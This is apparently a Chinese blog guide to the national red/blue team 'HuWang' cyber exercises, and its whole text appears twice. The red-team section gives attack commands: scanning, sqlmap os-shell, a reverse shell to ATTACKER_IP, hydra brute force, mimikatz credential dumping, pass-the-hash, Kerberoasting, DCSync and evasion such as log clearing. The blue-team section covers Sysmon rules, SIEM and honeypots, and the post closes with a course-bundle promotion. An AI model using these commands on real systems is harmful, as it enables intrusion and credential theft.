写在前面“护网行动是什么”“红队和蓝队分别做什么”“怎么准备护网”护网行动网络攻防演练是国内规模最大的网络安全实战演习。红队模拟攻击者从外网打点到内网渗透蓝队模拟防御者从监测告警到溯源处置。双方在真实环境中进行对抗。护网行动是安全从业者的高考。每年护网期间各大企业的安全团队都在通宵达旦地防守和反击。参加护网不仅能快速提升技术能力更是职业发展的重要经历。我第一次参加护网是作为红队成员从外网一个边缘系统打入了内网最终拿下了核心数据库。整个过程持续了两周让我对攻击链有了完整理解。后来转为蓝队又从防御角度理解了检测覆盖的重要性。今天我把护网行动红蓝对抗的完整知识整理出来行动概述、红队路径、蓝队体系、工具使用、攻防复盘。看完这篇你对护网会有一个系统化认知。⚠️ 注意本文仅用于安全教育和防御目的。一、护网行动概述什么是护网行动 护网行动是由国家相关部门组织的网络安全攻防演练红队模拟攻击蓝队负责防御目的是检验和提升关键信息基础设施的安全防护能力。红蓝双方对比维度红队攻击方蓝队防守方目标获取靶标系统权限防御攻击、溯源反制范围互联网暴露面全量资产时间通常2-3周全天候值守策略主动出击被动防御主动狩猎成果证明可被攻击证明能防住护网阶段體段时间说明准备期演习前1-2月资产梳理、加固整改攻防期2-3周红蓝对抗总结期演习后复盘、报告、整改二、红队攻击路径红队攻击链1. 信息收集 → 2. 外网打点 → 3. 获取初始权限 → 4. 内网渗透 → 5. 横向移动 → 6. 获取靶标 → 7. 权限维持 → 8. 溯源反制规避1. 信息收集# 资产收集# 子域名subfinder-dtarget.com-osubs.txt amass enum-dtarget.com# 端口扫描nmap-sV-p- --min-rate1000target.com masscan -p1-655351.2.3.0/24--rate10000# Web指纹whatweb http://target.com wappalyzer-cli http://target.com# 目录扫描dirsearch-uhttp://target.com-ephp,asp,jsp,html gobusterdir-uhttp://target.com-wwordlist.txt# 人员信息# LinkedIn、GitHub、企业官网2. 外网打点打点方式说明成功率Web漏洞SQL注入/RCE/上传高弱口令VPN/SSH/RDP/管理后台中钓鱼邮件钓鱼木马中供应链第三方系统/供应商中API漏洞未授权/注入高配置不当信息泄露/默认配置高3. 获取初始权限# 通过Web漏洞获取Shell# SQL注入写文件sqlmap-uhttp://target.com/news?id1--os-shell# 文件上传# 上传一句话木马 → 蚁剑连接# RCE漏洞# 命令注入 → 反弹Shellbash-i/dev/tcp/ATTACKER_IP/444401# 弱口令# VPN/SSH/RDP弱口令hydra-ladmin-Ppasswords.txt ssh://target.com4. 内网渗透# 信息收集ipconfig /all# 网络配置net user /domain# 域用户net groupdomain admins/domain# 域管systeminfo# 系统信息# 代理穿透# 使用frp/ew搭建SOCKS代理# 配置proxychains# 域信息收集# BloodHound SharpHoundSharpHound.exe-cAll# 分析攻击路径5. 横向移动# 凭据获取mimikatz.exe privilege::debug sekurlsa::logonpasswords# 横向移动# Impacketpsexec.py corp/admin:password10.0.0.5 wmiexec.py corp/admin:password10.0.0.5# 哈希传递crackmapexec smb10.0.0.0/24-uadmin-HNT_HASH# 域攻击# KerberoastingGetUserSPNs.py corp/user:pass -dc-ip10.0.0.1-request# DCSyncsecretsdump.py corp/admin:password10.0.0.16. 获取靶标# 靶标通常是# - 核心数据库# - 域控# - 关键业务系统# - 核心生产网# 获取靶标权限后# 截图证明 留标记按规定操作红队规避技术规避措施说明流量加密HTTPS/ICMP隧道进程注入避免落地文件白加黑利用合法程序加载日志清理清除操作痕迹时间规避在流量低谷操作工具混淆修改特征/使用C#Living Off the Land使用系统自带工具三、蓝队防御体系蓝队防御层次┌─────────────────────────────────┐ │ 威胁情报订阅 │ ├─────────────────────────────────┤ │ 流量检测NDR/IDS/IPS │ ├─────────────────────────────────┤ │ 终端检测EDR/HIDS │ ├─────────────────────────────────┤ │ 日志分析SIEM/SOC │ ├─────────────────────────────────┤ │ 资产管理CMDB/攻击面 │ └─────────────────────────────────┘1. 资产梳理工作内容说明资产盘点摸清所有IT资产暴露面收敛关闭不必要的外网服务弱口令整改修改默认/弱口令补丁更新修复已知漏洞配置加固安全基线检查权限收敛最小权限原则2. 流量监测# 全流量分析# 部署全流量探针/NDR# 监控维度# - 出站连接反弹Shell检测# - 异常协议DNS隧道/ICMP隧道# - 大流量传输数据外泄# - 横向扫描内网端口扫描# - 已知攻击特征SQL注入/XSS等# 常用工具# Suricata / Snort / Zeek# Wireshark取证分析3. 终端防护防护措施工具EDR部署Crowdstrike/SentinelOne/微步/奇安信进程监控Sysmon文件监控文件完整性监控FIM行为分析异常进程/网络行为微隔离限制横向移动Sysmon配置!-- Sysmon配置示例 --Sysmonschemaversion4.82HashAlgorithmsSHA256/HashAlgorithms!-- 进程创建 --RuleGroupnameProcess CreationgroupRelationorProcessCreateonmatchinclude!-- 监控PowerShell执行 --Imageconditioncontainspowershell.exe/Image!-- 监控CMD执行 --Imageconditioncontainscmd.exe/Image!-- 监控可疑工具 --Imageconditioncontainsmimikatz/ImageImageconditioncontainsprocdump/Image/ProcessCreate/RuleGroup!-- 网络连接 --RuleGroupnameNetwork ConnectionsgroupRelationorNetworkConnectonmatchinclude!-- 非标准端口连接 --DestinationPortconditionnot in80,443,53,22,25,123/DestinationPort/NetworkConnect/RuleGroup!-- 文件创建 --RuleGroupnameFile CreationgroupRelationorFileCreateonmatchinclude!-- 监控可执行文件创建 --TargetFilenameconditioncontains.exe/TargetFilenameTargetFilenameconditioncontains.dll/TargetFilenameTargetFilenameconditioncontains.ps1/TargetFilename/FileCreate/RuleGroup/Sysmon4. SIEM日志分析# 常见SIEM平台# Splunk / ELK / QRadar / 奇安信态势感知# 关键监控规则# 1. 多次认证失败密码爆破# 2. 异常时间登录# 3. 新进程创建# 4. PowerShell编码执行# 5. 横向移动行为# 6. 数据大流量外传# 7. DNS异常查询# 8. Mimikatz行为特征5. 告警处置流程告警产生 → 值班人员初判 → 安全分析师研判 → 确认攻击 → 应急响应 → 处置闭环处置级别响应时间处置方式严重15分钟立即隔离处置高危30分钟调查可能隔离中危2小时调查分析低危4小时记录监控四、蓝队溯源反制溯源目标确定攻击者IP → 关联攻击者身份 → 评估攻击范围 → 提交裁判组 → 获取加分溯源方法方法说明IP溯源查IP归属、ASN、历史记录钓鱼反制分析钓鱼邮件中的线索样本分析分析木马样本中的C2地址蜜罐诱捕部署蜜罐捕获攻击者信息社交工程利用攻击者留下的信息反查威胁情报关联已知攻击组织蜜罐部署# HFish蜜罐dockerrun-d-p22:22-p80:80-p443:443\-p3306:3306-p6379:6379\--namehfish hfish/hfish:latest# 封易蜜罐# 部署在攻击者可能扫描的位置# 等待攻击者交互# 记录攻击者IP、手法、工具信息五、护网常用工具红队工具工具功能说明Cobalt Strike红队平台团队协作、BeaconMetasploit漏洞利用Exploit框架Burp SuiteWeb渗透抓包改包sqlmapSQL注入自动化注入Nmap端口扫描网络发现BloodHound域分析攻击路径Mimikatz凭据获取密码哈希frp代理穿透内网穿透fscan综合扫描内网一键扫描蓝队工具工具功能说明Splunk/ELKSIEM日志分析SuricataIDS/IPS流量检测Sysmon终端监控行为记录Wireshark流量分析取证分析Falco容器监控运行时安全HFish蜜罐诱捕攻击者微步在线威胁情报IP/域名查询奇安信态势感知综合防护六、护网备战Checklist红队备战检查项是否完成目标信息收集完成☐攻击工具准备就绪☐基础设施搭建C2/代理☐Payload免杀处理☐攻击路径规划☐规则学习裁判规则☐团队分工明确☐应急预案被发现时☐蓝队备战检查项是否完成资产全面梳理☐外网暴露面收敛☐弱口令全面整改☐补丁更新完成☐安全设备部署就位☐监控规则调优☐值班排班确定☐应急响应预案☐蜜罐部署☐溯源工具准备☐七、护网复盘红队复盘要点维度分析内容攻击路径成功/失败的路径分析打点方式哪种方式最有效检测覆盖哪些操作被蓝队发现规避效果哪些规避技术有效教训总结下次改进方向蓝队复盘要点维度分析内容发现能力哪些攻击被及时发现漏检分析哪些攻击未被发现响应速度平均响应时间处置效果处置是否及时有效溯源成果溯源成功率改进方向检测覆盖提升计划学习资源护网行动是网络安全行业最实战化的对抗演习。参加护网不仅能快速提升技术水平更能获得宝贵的实战经验。无论是红队的攻击链路还是蓝队的防御体系都需要在实战中不断磨炼。从红队的打点渗透到蓝队的监测溯源从攻击规避到检测覆盖护网中的每一项技术都需要深入理解和大量练习。如果你对红蓝对抗和护网行动感兴趣想系统学习更多知识——包括渗透测试、内网渗透、应急响应、CTF实战等——可以参考下面整理的完整学习资料包。内容涵盖护网行动红蓝对抗专题渗透测试全流程实战内网渗透技术指南应急响应实战手册流量分析与入侵检测CTF比赛专项训练Python安全编程实战从零基础到实战进阶200节视频课程配套工具和靶场环境涵盖攻防对抗全生命周期。这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源总结角色核心能力红队打点 内网 横向 靶标蓝队监测 分析 处置 溯源红队关键信息收集 打点效率 规避能力蓝队关键检测覆盖 响应速度 溯源能力 护网的核心是以攻促防。每一次攻击发现都是防御提升的机会。———————————————— 护网行动红蓝对抗实战：从攻击链路到防御体系的完整指南
写在前面“护网行动是什么”“红队和蓝队分别做什么”“怎么准备护网”护网行动网络攻防演练是国内规模最大的网络安全实战演习。红队模拟攻击者从外网打点到内网渗透蓝队模拟防御者从监测告警到溯源处置。双方在真实环境中进行对抗。护网行动是安全从业者的高考。每年护网期间各大企业的安全团队都在通宵达旦地防守和反击。参加护网不仅能快速提升技术能力更是职业发展的重要经历。我第一次参加护网是作为红队成员从外网一个边缘系统打入了内网最终拿下了核心数据库。整个过程持续了两周让我对攻击链有了完整理解。后来转为蓝队又从防御角度理解了检测覆盖的重要性。今天我把护网行动红蓝对抗的完整知识整理出来行动概述、红队路径、蓝队体系、工具使用、攻防复盘。看完这篇你对护网会有一个系统化认知。⚠️ 注意本文仅用于安全教育和防御目的。一、护网行动概述什么是护网行动 护网行动是由国家相关部门组织的网络安全攻防演练红队模拟攻击蓝队负责防御目的是检验和提升关键信息基础设施的安全防护能力。红蓝双方对比维度红队攻击方蓝队防守方目标获取靶标系统权限防御攻击、溯源反制范围互联网暴露面全量资产时间通常2-3周全天候值守策略主动出击被动防御主动狩猎成果证明可被攻击证明能防住护网阶段體段时间说明准备期演习前1-2月资产梳理、加固整改攻防期2-3周红蓝对抗总结期演习后复盘、报告、整改二、红队攻击路径红队攻击链1. 信息收集 → 2. 外网打点 → 3. 获取初始权限 → 4. 内网渗透 → 5. 横向移动 → 6. 获取靶标 → 7. 权限维持 → 8. 溯源反制规避1. 信息收集# 资产收集# 子域名subfinder-dtarget.com-osubs.txt amass enum-dtarget.com# 端口扫描nmap-sV-p- --min-rate1000target.com masscan -p1-655351.2.3.0/24--rate10000# Web指纹whatweb http://target.com wappalyzer-cli http://target.com# 目录扫描dirsearch-uhttp://target.com-ephp,asp,jsp,html gobusterdir-uhttp://target.com-wwordlist.txt# 人员信息# LinkedIn、GitHub、企业官网2. 外网打点打点方式说明成功率Web漏洞SQL注入/RCE/上传高弱口令VPN/SSH/RDP/管理后台中钓鱼邮件钓鱼木马中供应链第三方系统/供应商中API漏洞未授权/注入高配置不当信息泄露/默认配置高3. 获取初始权限# 通过Web漏洞获取Shell# SQL注入写文件sqlmap-uhttp://target.com/news?id1--os-shell# 文件上传# 上传一句话木马 → 蚁剑连接# RCE漏洞# 命令注入 → 反弹Shellbash-i/dev/tcp/ATTACKER_IP/444401# 弱口令# VPN/SSH/RDP弱口令hydra-ladmin-Ppasswords.txt ssh://target.com4. 内网渗透# 信息收集ipconfig /all# 网络配置net user /domain# 域用户net groupdomain admins/domain# 域管systeminfo# 系统信息# 代理穿透# 使用frp/ew搭建SOCKS代理# 配置proxychains# 域信息收集# BloodHound SharpHoundSharpHound.exe-cAll# 分析攻击路径5. 横向移动# 凭据获取mimikatz.exe privilege::debug sekurlsa::logonpasswords# 横向移动# Impacketpsexec.py corp/admin:password10.0.0.5 wmiexec.py corp/admin:password10.0.0.5# 哈希传递crackmapexec smb10.0.0.0/24-uadmin-HNT_HASH# 域攻击# KerberoastingGetUserSPNs.py corp/user:pass -dc-ip10.0.0.1-request# DCSyncsecretsdump.py corp/admin:password10.0.0.16. 获取靶标# 靶标通常是# - 核心数据库# - 域控# - 关键业务系统# - 核心生产网# 获取靶标权限后# 截图证明 留标记按规定操作红队规避技术规避措施说明流量加密HTTPS/ICMP隧道进程注入避免落地文件白加黑利用合法程序加载日志清理清除操作痕迹时间规避在流量低谷操作工具混淆修改特征/使用C#Living Off the Land使用系统自带工具三、蓝队防御体系蓝队防御层次┌─────────────────────────────────┐ │ 威胁情报订阅 │ ├─────────────────────────────────┤ │ 流量检测NDR/IDS/IPS │ ├─────────────────────────────────┤ │ 终端检测EDR/HIDS │ ├─────────────────────────────────┤ │ 日志分析SIEM/SOC │ ├─────────────────────────────────┤ │ 资产管理CMDB/攻击面 │ └─────────────────────────────────┘1. 资产梳理工作内容说明资产盘点摸清所有IT资产暴露面收敛关闭不必要的外网服务弱口令整改修改默认/弱口令补丁更新修复已知漏洞配置加固安全基线检查权限收敛最小权限原则2. 流量监测# 全流量分析# 部署全流量探针/NDR# 监控维度# - 出站连接反弹Shell检测# - 异常协议DNS隧道/ICMP隧道# - 大流量传输数据外泄# - 横向扫描内网端口扫描# - 已知攻击特征SQL注入/XSS等# 常用工具# Suricata / Snort / Zeek# Wireshark取证分析3. 终端防护防护措施工具EDR部署Crowdstrike/SentinelOne/微步/奇安信进程监控Sysmon文件监控文件完整性监控FIM行为分析异常进程/网络行为微隔离限制横向移动Sysmon配置!-- Sysmon配置示例 --Sysmonschemaversion4.82HashAlgorithmsSHA256/HashAlgorithms!-- 进程创建 --RuleGroupnameProcess CreationgroupRelationorProcessCreateonmatchinclude!-- 监控PowerShell执行 --Imageconditioncontainspowershell.exe/Image!-- 监控CMD执行 --Imageconditioncontainscmd.exe/Image!-- 监控可疑工具 --Imageconditioncontainsmimikatz/ImageImageconditioncontainsprocdump/Image/ProcessCreate/RuleGroup!-- 网络连接 --RuleGroupnameNetwork ConnectionsgroupRelationorNetworkConnectonmatchinclude!-- 非标准端口连接 --DestinationPortconditionnot in80,443,53,22,25,123/DestinationPort/NetworkConnect/RuleGroup!-- 文件创建 --RuleGroupnameFile CreationgroupRelationorFileCreateonmatchinclude!-- 监控可执行文件创建 --TargetFilenameconditioncontains.exe/TargetFilenameTargetFilenameconditioncontains.dll/TargetFilenameTargetFilenameconditioncontains.ps1/TargetFilename/FileCreate/RuleGroup/Sysmon4. SIEM日志分析# 常见SIEM平台# Splunk / ELK / QRadar / 奇安信态势感知# 关键监控规则# 1. 多次认证失败密码爆破# 2. 异常时间登录# 3. 新进程创建# 4. PowerShell编码执行# 5. 横向移动行为# 6. 数据大流量外传# 7. DNS异常查询# 8. Mimikatz行为特征5. 告警处置流程告警产生 → 值班人员初判 → 安全分析师研判 → 确认攻击 → 应急响应 → 处置闭环处置级别响应时间处置方式严重15分钟立即隔离处置高危30分钟调查可能隔离中危2小时调查分析低危4小时记录监控四、蓝队溯源反制溯源目标确定攻击者IP → 关联攻击者身份 → 评估攻击范围 → 提交裁判组 → 获取加分溯源方法方法说明IP溯源查IP归属、ASN、历史记录钓鱼反制分析钓鱼邮件中的线索样本分析分析木马样本中的C2地址蜜罐诱捕部署蜜罐捕获攻击者信息社交工程利用攻击者留下的信息反查威胁情报关联已知攻击组织蜜罐部署# HFish蜜罐dockerrun-d-p22:22-p80:80-p443:443\-p3306:3306-p6379:6379\--namehfish hfish/hfish:latest# 封易蜜罐# 部署在攻击者可能扫描的位置# 等待攻击者交互# 记录攻击者IP、手法、工具信息五、护网常用工具红队工具工具功能说明Cobalt Strike红队平台团队协作、BeaconMetasploit漏洞利用Exploit框架Burp SuiteWeb渗透抓包改包sqlmapSQL注入自动化注入Nmap端口扫描网络发现BloodHound域分析攻击路径Mimikatz凭据获取密码哈希frp代理穿透内网穿透fscan综合扫描内网一键扫描蓝队工具工具功能说明Splunk/ELKSIEM日志分析SuricataIDS/IPS流量检测Sysmon终端监控行为记录Wireshark流量分析取证分析Falco容器监控运行时安全HFish蜜罐诱捕攻击者微步在线威胁情报IP/域名查询奇安信态势感知综合防护六、护网备战Checklist红队备战检查项是否完成目标信息收集完成☐攻击工具准备就绪☐基础设施搭建C2/代理☐Payload免杀处理☐攻击路径规划☐规则学习裁判规则☐团队分工明确☐应急预案被发现时☐蓝队备战检查项是否完成资产全面梳理☐外网暴露面收敛☐弱口令全面整改☐补丁更新完成☐安全设备部署就位☐监控规则调优☐值班排班确定☐应急响应预案☐蜜罐部署☐溯源工具准备☐七、护网复盘红队复盘要点维度分析内容攻击路径成功/失败的路径分析打点方式哪种方式最有效检测覆盖哪些操作被蓝队发现规避效果哪些规避技术有效教训总结下次改进方向蓝队复盘要点维度分析内容发现能力哪些攻击被及时发现漏检分析哪些攻击未被发现响应速度平均响应时间处置效果处置是否及时有效溯源成果溯源成功率改进方向检测覆盖提升计划学习资源护网行动是网络安全行业最实战化的对抗演习。参加护网不仅能快速提升技术水平更能获得宝贵的实战经验。无论是红队的攻击链路还是蓝队的防御体系都需要在实战中不断磨炼。从红队的打点渗透到蓝队的监测溯源从攻击规避到检测覆盖护网中的每一项技术都需要深入理解和大量练习。如果你对红蓝对抗和护网行动感兴趣想系统学习更多知识——包括渗透测试、内网渗透、应急响应、CTF实战等——可以参考下面整理的完整学习资料包。内容涵盖护网行动红蓝对抗专题渗透测试全流程实战内网渗透技术指南应急响应实战手册流量分析与入侵检测CTF比赛专项训练Python安全编程实战从零基础到实战进阶200节视频课程配套工具和靶场环境涵盖攻防对抗全生命周期。这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源总结角色核心能力红队打点 内网 横向 靶标蓝队监测 分析 处置 溯源红队关键信息收集 打点效率 规避能力蓝队关键检测覆盖 响应速度 溯源能力 护网的核心是以攻促防。每一次攻击发现都是防御提升的机会。————————————————